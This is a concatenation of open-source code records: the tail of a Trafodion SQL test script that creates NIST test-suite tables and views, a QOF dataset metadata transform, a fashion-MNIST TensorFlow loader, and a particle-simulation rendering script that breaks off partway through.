_dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE P7 (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE P12 (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE P15 (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n # NIST SQL Test Suite, V5.0, Schema Definition, schema.sql\n # This file defines the base tables used in most of the tests.\n \n stmt = \"\"\"CREATE TABLE VTABLE \n(COL1 INTEGER,\nCOL2 INTEGER,\nCOL3 INTEGER,\nCOL4 INTEGER,\nCOL5 DECIMAL(7,2)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE UPUNIQ (\nNUMKEY int not null,\nCOL2 CHAR(2),\nPRIMARY KEY (NUMKEY)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE TEXT80 (TEXXT CHAR(80)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE TEXT132 (TEXXT CHAR(132)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE TEXT240 (TEXXT CHAR(240)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE TEXT256 (TEXXT CHAR(256)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE TEXT512 (TEXXT CHAR(512)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE TEXT1024 (TEXXT CHAR(1024)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n # The following tables are used to test the limitations (12-14-88)\n \n stmt = \"\"\"CREATE TABLE T240(STR240 CHAR(240)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE DEC15(COL1 DECIMAL(15,7)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE FLO15(COL1 FLOAT(15)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE INT10(COL1 INTEGER, COL2 SMALLINT) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE T100(C1 CHAR(2),C2 CHAR(2),C3 CHAR(2),C4 CHAR(2),\nC5 CHAR(2),C6 CHAR(2),C7 CHAR(2),C8 CHAR(2),\nC9 CHAR(2),C10 CHAR(2),C11 CHAR(2),C12 CHAR(2),\nC13 CHAR(2),C14 CHAR(2),C15 CHAR(2),C16 CHAR(2),\nC17 CHAR(2),C18 CHAR(2),C19 CHAR(2),C20 CHAR(2),\nC21 CHAR(2),C22 CHAR(2),C23 CHAR(2),C24 CHAR(2),\nC25 CHAR(2),C26 CHAR(2),C27 CHAR(2),C28 CHAR(2),\nC29 CHAR(2),C30 CHAR(2),C31 CHAR(2),C32 CHAR(2),\nC33 CHAR(2),C34 CHAR(2),C35 CHAR(2),C36 CHAR(2),\nC37 CHAR(2),C38 CHAR(2),C39 CHAR(2),C40 CHAR(2),\nC41 CHAR(2),C42 CHAR(2),C43 CHAR(2),C44 CHAR(2),\nC45 CHAR(2),C46 CHAR(2),C47 CHAR(2),C48 CHAR(2),\nC49 CHAR(2),C50 CHAR(2),C51 CHAR(2),C52 CHAR(2),\nC53 CHAR(2),C54 CHAR(2),C55 CHAR(2),C56 CHAR(2),\nC57 CHAR(2),C58 CHAR(2),C59 CHAR(2),C60 CHAR(2),\nC61 CHAR(2),C62 CHAR(2),C63 CHAR(2),C64 CHAR(2),\nC65 CHAR(2),C66 CHAR(2),C67 CHAR(2),C68 CHAR(2),\nC69 CHAR(2),C70 CHAR(2),C71 CHAR(2),C72 CHAR(2),\nC73 CHAR(2),C74 CHAR(2),C75 CHAR(2),C76 CHAR(2),\nC77 CHAR(2),C78 CHAR(2),C79 CHAR(2),C80 CHAR(2),\nC81 CHAR(2),C82 CHAR(2),C83 CHAR(2),C84 CHAR(2),\nC85 CHAR(2),C86 CHAR(2),C87 CHAR(2),C88 CHAR(2),\nC89 CHAR(2),C90 CHAR(2),C91 CHAR(2),C92 CHAR(2),\nC93 CHAR(2),C94 CHAR(2),C95 CHAR(2),C96 CHAR(2),\nC97 CHAR(2),C98 CHAR(2),C99 CHAR(2),C100 CHAR(2)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE T2000(STR110 CHAR(110),STR120 CHAR(120),\nSTR130 CHAR(130),STR140 CHAR(140),\nSTR150 CHAR(150),STR160 CHAR(160),\nSTR170 CHAR(170),STR180 CHAR(180),\nSTR190 CHAR(190),STR200 CHAR(200),\nSTR210 CHAR(210),STR216 CHAR(216)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE T8(COL1 CHAR(2) NOT NULL,COL2 CHAR(4) NOT NULL,\nCOL3 CHAR(6) NOT NULL,COL4 CHAR(8) NOT NULL,\nCOL5 CHAR(10) NOT NULL,COL6 CHAR(12) NOT NULL,\nCOL7 CHAR(14),COL8 CHAR(16),\nprimary key (COL1,COL2,COL3,COL4,COL5,COL6)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE T118(STR118 CHAR(118) NOT NULL,\nprimary key (str118)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE T4(STR110 CHAR(110) NOT NULL,\nNUM6 float not null,\nCOL3 CHAR(10),COL4 CHAR(20),\nprimary key (STR110,NUM6)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE T12(COL1 CHAR(1), COL2 CHAR(2),\nCOL3 CHAR(4), COL4 CHAR(6),\nCOL5 CHAR(8), COL6 CHAR(10),\nCOL7 CHAR(20), COL8 CHAR(30),\nCOL9 CHAR(40), COL10 CHAR(50),\nCOL11 INTEGER, COL12 INTEGER) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE NEXTKEY (KEYNUM INTEGER,\nAUTHOR CHAR(1),\nDOLLARS INTEGER) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE SV (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE JJX20 (FLOATTEST FLOAT(20)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE PPX15 (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE PPX7 (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE P15X15 (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE P15X7 (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n # CREATE TABLE TEMPXOBSERV XXXXX\n stmt = \"\"\"CREATE TABLE TOSERV \n(YEARXOBSERV float,\nCITY CHAR(10),\nMAXXTEMP float,\nMINXTEMP float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE TOKENS \n(PROGXNO INT, TOKENXNO INT) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE ECCO (C1 CHAR(2)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n # ************* create view statements follow *************\n \n # CREATE VIEW CELSIUSXOBSERV (CITY, YEARXOBSERV, MINXC, MAXXC)\n # AS SELECT CITY, YEARXOBSERV, (MINXTEMP - 32) * 5 / 9,\n # (MAXXTEMP - 32) * 5 / 9\n # FROM TEMPXOBSERV ; XXXXX\n # FROM TOSERV ;\n #\n # CREATE VIEW MULTIXYEARXOBSERV (CITY, HIGH, LOW)\n # AS SELECT CITY, AVG(MAXXTEMP), AVG(MINXTEMP)\n # FROM TEMPXOBSERV XXXXX\n # FROM TOSERV\n # GROUP BY CITY ;\n #\n # CREATE VIEW EXTREMEXTEMPS (YEARXOBSERV, HIGH, LOW)\n # AS SELECT YEARXOBSERV, MAX(MAXXTEMP), MIN(MINXTEMP)\n # FROM TEMPXOBSERV XXXXX\n # FROM TOSERV\n # GROUP BY YEARXOBSERV ;\n #\n stmt = \"\"\"CREATE VIEW SETXTEST (EMP1, EMPXAVG, EMPXMAX) AS\nSELECT STAFF.EMPNUM, AVG(HOURS), MAX(HOURS)\nFROM STAFF, WORKS \nGROUP BY STAFF.EMPNUM ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE VIEW DUPXCOL (EMP1, PNO, HOURS, HOURSX2) AS\nSELECT EMPNUM, PNUM, HOURS, HOURS * 2\nFROM WORKS ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE VIEW STAFFV1 \nAS SELECT * FROM STAFF \nWHERE GRADE >= 12 ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n # CREATE VIEW STAFFV2\n # AS SELECT * FROM STAFF\n # WHERE GRADE >= 12 ;\n # -- WITH CHECK OPTION ; XXXXX\n #\n # CREATE VIEW STAFFV2XVIEW\n # AS SELECT *\n # FROM STAFFV2\n # WHERE CITY = 'Vienna' ;\n #\n # CREATE VIEW DOMAINXVIEW\n # AS SELECT *\n # FROM WORKS\n # WHERE EMPNUM = 'E1' AND HOURS = 80\n # OR EMPNUM = 'E2' AND HOURS = 40\n # OR EMPNUM = 'E4' AND HOURS = 20 ;\n # -- WITH CHECK OPTION ; XXXXX\n #\n # CREATE VIEW STAFF2\n # AS SELECT *\n # FROM STAFF ;\n # -- WITH CHECK OPTION ; XXXXX\n #\n # CREATE VIEW STAFFXWORKSXDESIGN (NAME,COST,PROJECT)\n stmt = \"\"\"CREATE VIEW STXWOXDE (NAME1,COST,PROJECT)\nAS SELECT EMPNAME,HOURS*2*GRADE,PNAME\nFROM PROJ,STAFF,WORKS \nWHERE STAFF.EMPNUM=WORKS.EMPNUM\nAND WORKS.PNUM=PROJ.PNUM\nAND PTYPE='Design' ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE VIEW SUBSP (EMPNUM,PNUM,HOURS)\nAS SELECT EMPNUM,PNUM,HOURS\nFROM WORKS \nWHERE EMPNUM='E3' ;\"\"\"\n output = _dci.cmdexec(stmt)\n # - WITH CHECK OPTION ; XXXXX\n #\n stmt = \"\"\"CREATE VIEW TEMPXSS(EMPNUM,GRADE,CITY)\nAS SELECT EMPNUM,GRADE,CITY\nFROM STAFF \nWHERE GRADE > 12 ;\"\"\"\n output = _dci.cmdexec(stmt)\n # WITH CHECK OPTION ; XXXXX\n #\n # CREATE VIEW VXWORKS1\n # AS SELECT * FROM WORKS\n # WHERE HOURS > 15 ;\n # -- WITH CHECK OPTION ; XXXXX\n #\n # CREATE VIEW VXWORKS2\n # AS SELECT * FROM VXWORKS1\n # WHERE EMPNUM = 'E1'\n # OR EMPNUM = 'E6' ;\n #\n # CREATE VIEW VXWORKS3\n # AS SELECT * FROM VXWORKS2\n # WHERE PNUM = 'P2'\n # OR PNUM = 'P7' ;\n # -- WITH CHECK OPTION ; XXXXX\n #\n # CREATE VIEW UPDATEXVIEW1\n # AS SELECT ALL CITY\n # FROM PROJ ;\n #\n # CREATE VIEW UPDATEXVIEW2\n # AS SELECT HOURS, EMPNUM, PNUM\n # FROM WORKS\n # WHERE HOURS IN (10, 20, 40) ;\n #\n # CREATE VIEW UPDATEXVIEW3\n # AS SELECT *\n # FROM WORKS\n # WHERE PNUM BETWEEN 'P2' AND 'P4'\n # AND not EMPNUM BETWEEN 'E2' AND 'E3' ;\n # -- AND EMPNUM NOT BETWEEN 'E2' AND 'E3' ; XXXXX\n #\n # CREATE VIEW UPDATEXVIEW4\n # AS SELECT PNUM, EMPNUM\n # FROM WORKS\n # WHERE PNUM LIKE 'X2%' ;\n #\n # CREATE VIEW UPDATEXVIEW5\n # AS SELECT *\n # FROM STAFF\n # WHERE EMPNAME IS NOT NULL AND CITY IS NULL ;\n #\n # CREATE VIEW UPDATEXVIEW6\n # AS SELECT EMPNAME, CITY, GRADE\n # FROM STAFF\n # WHERE EMPNAME >= 'Betty' AND EMPNUM < 'E35'\n # OR CITY <= 'Deale' AND GRADE > 12\n # OR GRADE = 13 AND CITY <> 'Akron' ;\n #\n # CREATE VIEW UPDATEXVIEW7\n # AS SELECT EMPNAME, CITY, GRADE\n # FROM STAFFV2\n # WHERE EMPNAME >= 'Betty' AND EMPNUM < 'E35'\n # OR CITY <= 'Deale' AND GRADE > 12\n # OR GRADE = 13 AND CITY <> 'Akron' ;\n #\n # CREATE VIEW UPDATEXVIEW8\n # AS SELECT MYTABLE.EMPNUM, MYTABLE.EMPNAME\n # FROM STAFF MYTABLE\n # WHERE MYTABLE.GRADE = 12 ;\n #\n # CREATE VIEW UPDATEXVIEW9\n # AS SELECT EMPNAME, CITY, GRADE\n # FROM STAFF\n # WHERE NOT EMPNAME >= 'Betty' AND EMPNUM <= 'E35'\n # OR NOT (CITY <= 'Deale') AND GRADE > 9\n # AND NOT (GRADE = 13 AND CITY <> 'Akron')\n # OR NOT CITY IN ('Vienna','New York','Deale') ;\n #\n # CREATE VIEW VSTAFF3 AS SELECT * FROM STAFF3 ;\n #\n # CREATE TABLE CHARACTER18TABLE18 (CHARS18NAME18CHARS CHAR(4)) ;\n #\n # CREATE VIEW CHARACTERS18VIEW18 (LONGNAME18LONGNAME)\n # AS SELECT CHARS18NAME18CHARS\n # FROM CHARACTER18TABLE18\n # WHERE CHARS18NAME18CHARS <> 'long' ;\n #\n # more from schema8.std\n \n stmt = \"\"\"CREATE TABLE STAFF14 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\n-- -- DEFAULT USER, XXXXX\n-- EMPNAME CHAR precision may be changed to implementation-defined\n-- precision for value of USER\nGRADE int,\nCITY CHAR(15)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE STAFF5 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15),\nPRIMARY KEY (EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n # , CHECK (GRADE > 0 AND GRADE < 20)) ; XXXXX\n \n stmt = \"\"\"CREATE TABLE STAFF6 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n # CHECK (GRADE > 0 AND GRADE < 20), -- DECIMAL(4) CHECK (GRADE > 0 AND GRADE < 20),\n \n stmt = \"\"\"CREATE TABLE STAFF7 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15),\nPRIMARY KEY (EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n # CHECK (GRADE BETWEEN 1 AND 20)) ; XXXXX\n \n stmt = \"\"\"CREATE TABLE STAFF8 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15),\nPRIMARY KEY (EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n # CHECK (EMPNAME IS NOT NULL)) ; XXXXX\n \n stmt = \"\"\"CREATE TABLE STAFF9 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20) NOT NULL,\nGRADE int,\nCITY CHAR(15),\n-- CHECK (EMPNAME NOT LIKE 'T%')\nPRIMARY KEY (EMPNAME)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE STAFF10 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15),\nPRIMARY KEY (EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n # CHECK (GRADE NOT IN (5,22))) ; XXXXX\n \n stmt = \"\"\"CREATE TABLE STAFF11 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int, -- DECIMAL(4), XXXXX\nCITY CHAR(15),\nPRIMARY KEY (EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n # CHECK (GRADE NOT IN (5,22) XXXXX\n # AND EMPNAME NOT LIKE 'T%')) ; XXXXX\n \n stmt = \"\"\"CREATE TABLE STAFF12 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15),\nPRIMARY KEY (EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n # CHECK (NOT GRADE IN (5,22) XXXXX\n # AND NOT EMPNAME LIKE 'T%')) ; XXXXX\n \n stmt = \"\"\"CREATE TABLE STAFF13 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15),\nPRIMARY KEY (EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n # CHECK (NOT EMPNAME IS NULL)) ; XXXXX\n \n stmt = \"\"\"CREATE TABLE STAFF15 (EMPNUM CHAR(3),\nEMPNAME CHAR(20) NOT NULL,\nGRADE int,\nCITY CHAR(15)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE STAFF16 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20), -- DEFAULT NULL, XXXXX\nGRADE int NOT NULL,\nCITY CHAR(15),\nPRIMARY KEY (GRADE,EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n # DECIMAL(4) NOT NULL CHECK (GRADE IN (100,150,200)), XXXXX\n \n # The following tables, STAFFXM and PROJXM reference each other.\n # Table STAFFXM has a \"forward reference\" to PROJXM.\n \n # CREATE TABLE STAFFXM\n # (EMPNUM CHAR(3) NOT NULL,\n # EMPNAME CHAR(20),\n # GRADE int, -- DECIMAL(4), XXXXX\n # CITY CHAR(15),\n # PRIXWK CHAR(3),\n # UNIQUE (EMPNUM),\n # FOREIGN KEY (PRIXWK)\n # REFERENCES PROJXM(PNUM)) no partition;\n #\n # CREATE TABLE PROJXM\n # (PNUM CHAR(3) NOT NULL,\n # PNAME CHAR(20),\n # PTYPE CHAR(6),\n # BUDGET int, -- DECIMAL(9), XXXXX\n # CITY CHAR(15),\n # MGR CHAR(3),\n # UNIQUE (PNUM),\n # FOREIGN KEY (MGR)\n # REFERENCES STAFFXM(EMPNUM)) no partition;\n #\n # -- The following table is self-referencing.\n \n # CREATE TABLE STAFFXC\n # (EMPNUM CHAR(3) NOT NULL,\n # EMPNAME CHAR(20),\n # GRADE int, -- DECIMAL(4), XXXXX\n # CITY CHAR(15),\n # MGR CHAR(3),\n # UNIQUE (EMPNUM),\n # FOREIGN KEY (MGR)\n # REFERENCES STAFFXC(EMPNUM)) no partition;\n #\n \n stmt = \"\"\"CREATE TABLE STAFFXP \n(EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15),\nprimary key (EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n # UNIQUE (EMPNUM)) ; XXXX\n \n stmt = \"\"\"CREATE TABLE PROJXP \n(PNUM CHAR(3) NOT NULL,\nPNAME CHAR(20),\nPTYPE CHAR(6),\nBUDGET int,\nCITY CHAR(15),\nprimary key (PNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n # CREATE VIEW STAFF6XWITHXGRADES AS\n # SELECT EMPNUM,EMPNAME,GRADE,CITY\n # -- FROM STAFF6\n # from vwstaff6\n # WHERE GRADE > 0 AND GRADE < 20 ;\n # -- WITH CHECK OPTION ; XXXXX\n \n # ************* End of Schema *************\n \n _testmgr.testcase_end(desc)\n\n","repo_name":"trafodion/tests","sub_path":"tests/sqlqa/tests/arkcase/nistdml/create_tables.py","file_name":"create_tables.py","file_ext":"py","file_size_in_byte":21916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28232253256","text":"\"\"\"\nMake transformations/adjustments/reorganisations of the QOF data\n\"\"\"\nimport datetime\nimport json\nimport sys\n\nimport ffs\nimport re\n\nDATA_DIR = None\n\ndef datasets():\n metadata = DATA_DIR / 'dataset.metadata.json'\n return metadata.json_load()\n\ndef add_metadata_to_qof_datasets():\n results = []\n for metadata in datasets():\n metadata['tags'] = ['QOF', 'Quality Outcomes Framework']\n title = metadata['title']\n match = re.search('(\\d{4})-(\\d{2})', title)\n begins = datetime.date(year=int(match.group(1)), month=4, day=1)\n ends = datetime.date(begins.year + 1, 3, 31)\n metadata['coverage_start_date'] = begins.isoformat()\n metadata['coverage_end_date'] = ends.isoformat()\n metadata['frequency'] = 'Annually'\n metadata['title'] = 'QOF - National Quality Outcomes Framework - {0}-{1}'.format(match.group(1), match.group(2))\n\n results.append(metadata)\n\n f = DATA_DIR / 'dataset.metadata.json'\n json.dump(results, open(f, 'w'))\n\ndef main(workspace):\n global DATA_DIR\n DATA_DIR = ffs.Path(workspace) / 'data'\n add_metadata_to_qof_datasets()\n return 0\n\nif __name__ == '__main__':\n sys.exit(main())\n\n\n\n\n\n\n\n","repo_name":"nhsengland/publish-o-matic","sub_path":"datasets/qof/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6843145903","text":"import tensorflow as tf\nimport tensorflow_datasets as tfds\n\nshape = (28, 28, 1)\noutput_classes = 10\n\n\ndef add_normalized_values(img, label):\n \"\"\"Normalizes images\"\"\"\n norm_img = tf.cast(img, dtype=tf.float32) / 255.0\n return norm_img, label\n\n\ndef load_dataset(batch_size):\n (ds_train, ds_test) = tfds.load('fashion_mnist', split=['train', 'test'], as_supervised=True, shuffle_files=True)\n\n # use batching\n ds_test = ds_test.batch(batch_size)\n ds_train = ds_train.batch(batch_size)\n\n # map data\n ds_train = ds_train.map(add_normalized_values, num_parallel_calls=tf.data.experimental.AUTOTUNE)\n ds_test = ds_test.map(add_normalized_values, num_parallel_calls=tf.data.experimental.AUTOTUNE)\n\n return ds_train, ds_test\n","repo_name":"savicci/vai_benchmark","sub_path":"bench_perf/fmnist_utils.py","file_name":"fmnist_utils.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33712746212","text":"################################################################################\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n#\t\t\t\tCode for rendering data created with epc1d\t\t\t\t\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n#\tAuthor:\t\tAlexander Liptak\t\t\t\t\t\t\t\t\t\t\t #\n#\tContact:\talexander.liptak.jr@googlemail.com\t\t\t\t\t\t\t #\n#\tDate:\t\tMarch 2020\t\t\t\t\t\t\t\t\t\t\t\t\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n################################################################################\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom matplotlib import cm\nfrom os import listdir, mkdir, path, rmdir\nfrom PIL import Image\nfrom shutil import rmtree\nfrom subprocess import call, DEVNULL\nfrom sys import argv, exit\nfrom tqdm import tqdm\n\n################################################################################\n\nsize = 4\t # size of each particle\nalpha = 0.1\t # opacity of each particle\nsplit = 2\t # split frame into chunks (higher is slower but uses less memory)\n\n################################################################################\n\ndef interrupted(name):\n \"\"\"Attempts to check whether render was interrupted and can be continued\n\n Arguments:\n ----------\n name\t : str\n Name of render job\n\n Returns:\n ----------\n index\t : int\n Index at which to resume render\"\"\"\n\n if not path.exists(name): return 0\t # no directory exists, start from 0\n try: # find highest number in folder, start from one higher than that\n return max([int(f.split(\".\")[0]) for f in listdir(name)]) + 1\n except OSError:\t\t# the above will fail if folder is empty\n rmdir(name)\t\t# remove empty folder\n return 0\t\t# start from the beginning\n\n\ndef png_write(fig, fname):\n \"\"\"Custom png writer that doesn't call draw() like matplotlib\n\n Arguments:\n ----------\n fig : matplotlib.figure.Figure\n Figure to be saved\n fname : str\n Filename of image to be saved, including file extenstion\n\n Returns:\n ----------\n None\"\"\"\n\n # get pixel width and height of figure from size and DPI\n width, height = map(int, fig.get_size_inches() * fig.get_dpi())\n\n image = np.frombuffer(fig.canvas.tostring_argb(), # ARGB str from canvas\n dtype='uint8') # convert binary to uint8 array\n image = image.reshape(height, width, 4) # shape to image with ARGB per px\n image = np.roll(image, -1, 2) # convert ARGB to RGBA format\n Image.fromarray(image, 'RGBA').save(fname) # create PIL image and save\n\n\ndef gen_pv_frames(data, colourmap, name, index, padding):\n \"\"\"Generates and saves postions-velocity frames to temporary folder\n\n Arguments:\n ----------\n data : dict\n Named arrays loaded from file\n colourmap : list\n Colours from colourmap with one colour for each particle\n name\t : str\n Name of render job\n index : int\n Frame index at which to start drawing\n padding : int\n Zero-padded width of each saved frame\n\n Returns:\n ----------\n None\"\"\"\n\n # generate array of indices in each chunk to be drawn per frame\n print(f\"Generating {split} chunks...\")\n chunks = np.split(np.arange(data[\"positions\"].shape[1], dtype=int), split)\n\n print(\"Calculating limits...\")\n xlim = (np.min(data[\"positions\"]), np.max(data[\"positions\"]))\n ylim = (np.min(data[\"velocities\"]), np.max(data[\"velocities\"]))\n\n # render and save each frame, drawing each chunk per frame\n for frame in tqdm(range(index, data[\"output_times\"].shape[0]),\n desc=\"Drawing frame:\"):\n\n # set up figure and axis\n fig = plt.figure(figsize=[16,9], facecolor=\"k\")\n ax = fig.add_axes([0, 0, 1, 1]); ax.axis('off')\n ax.set_xlim(xlim); ax.set_ylim(ylim)\n\n # create \"empty\" arist for drawing on canvas\n phase_plot = ax.scatter([0], [0], # dummy point\n s=size, # set size from global variable\n c=[\"#00000000\"], # dummy transparent colour\n marker='.', # draw spheres\n alpha=alpha) # set particle transparency\n fig.canvas.draw() # draw canvas before any real artist draw events\n\n # process particles in each chunk, setting their position and colour\n for chunk in tqdm(chunks, desc=\"Processing chunk:\", leave=False):\n phase_plot.set_offsets(np.c_[data[\"positions\"][frame][chunk],\n data[\"velocities\"][frame][chunk]])\n phase_plot.set_color(colourmap[chunk])\n ax.draw_artist(phase_plot)\t# draw computed particles to image\n\n # save generated image for stitching and close figure\n png_write(fig, f\"{name}/{frame:0{padding}}.png\")\n plt.close(fig)\n\n\ndef gen_all_frames(data, colourmap, name, index, padding):\n \"\"\"Generates and saves frames with all computed data to temporary folder\n (assumes that as there is more data to be drawn, there is not enough\n particles to warrant chunking; this makes things slightly faster)\n\n Arguments:\n ----------\n data : dict\n Named arrays loaded from file\n colourmap : list\n Colours from colourmap with one colour for each particle\n name\t : str\n Name of render job\n index : int\n Frame index at which to start drawing\n padding : int\n Zero-padded width of each saved frame\n\n Returns:\n ----------\n None\"\"\"\n\n print(\"Calculating limits...\")\n main_xlim = (np.min(data[\"positions\"]), np.max(data[\"positions\"]))\n main_ylim = (np.min(data[\"velocities\"]), np.max(data[\"velocities\"]))\n dens_xlim = (np.min(data[\"cells\"]), np.max(data[\"cells\"]))\n dens_ylim = (np.min(data[\"densities\"]), np.max(data[\"densities\"]))\n hist_xlim = (np.min(data[\"vhist\"]), np.max(data[\"vhist\"]))\n hist_ylim = (np.min(data[\"vbins\"]), np.max(data[\"vbins\"]))\n\n # render and save each frame, drawing each chunk per frame\n for frame in tqdm(range(index, data[\"output_times\"].shape[0]),\n desc=\"Drawing frame:\"):\n\n # set up figure with gridspec\n fig = plt.figure(figsize=[16,9])\n gs = gridspec.GridSpec(4, 4)\n\n # set up axes\n ax1 = fig.add_subplot(gs[0:3,0:3]); ax1.set_title(\"Phase space\")\n ax2 = fig.add_subplot(gs[3,0:3])\n ax3 = fig.add_subplot(gs[0:3,3])\n\n # set up axes limits\n ax1.set_xlim(main_xlim); ax1.set_ylim(main_ylim)\n ax2.set_xlim(dens_xlim); ax2.set_ylim(dens_xlim)\n ax3.set_xlim(hist_xlim); ax3.set_ylim(hist_xlim)\n\n # draw all artists\n ax1.scatter(data[\"positions\"][frame], data[\"velocities\"][frame],\n s=size, c=colourmap, marker=\".\", alpha=alpha)\n ax2.plot(data[\"cells\"], data[\"densities\"][frame], 'k-')\n ax3.plot(data[\"vhist\"][frame], data[\"vbins\"][frame], 'k-')\n\n plt.tight_layout() # apply tight layout formatting\n\n # save generated image for stitching\n png_write(fig, f\"{name}/{frame:0{padding}}.png\")\n\n\ndef harmonic_plot(data):\n \"\"\"Draws the preliminary first-harmonic plot to screen\n\n Arguments:\n ----------\n data : dict\n Named arrays loaded from file\n\n Returns:\n ----------\n None\"\"\"\n\n plt.figure()\n plt.plot(data[\"output_times\"], data[\"first_harmonic\"], \"k-\")\n plt.xlabel(\"Time [Normalised]\")\n plt.ylabel(\"First harmonic amplitude [Normalised]\")\n plt.yscale('log')\n plt.tight_layout()\n plt.show()\n\n\nif __name__ == \"__main__\":\n\n # check if argv has two items (one argument), quit otherwise\n if len(argv) != 2: print(\"1 argument expected\"); exit(1)\n\n # check whether script has access to ffmpeg\n try:\n call(\"ffmpeg\", stdout=DEVNULL, stderr=DEVNULL)\n except OSError:\n print(\"ffmpeg not found\"); exit(1)\n\n name = argv[-1].split(\".\")[0]\t # extract filename from argument\n\n # open requested array and begin 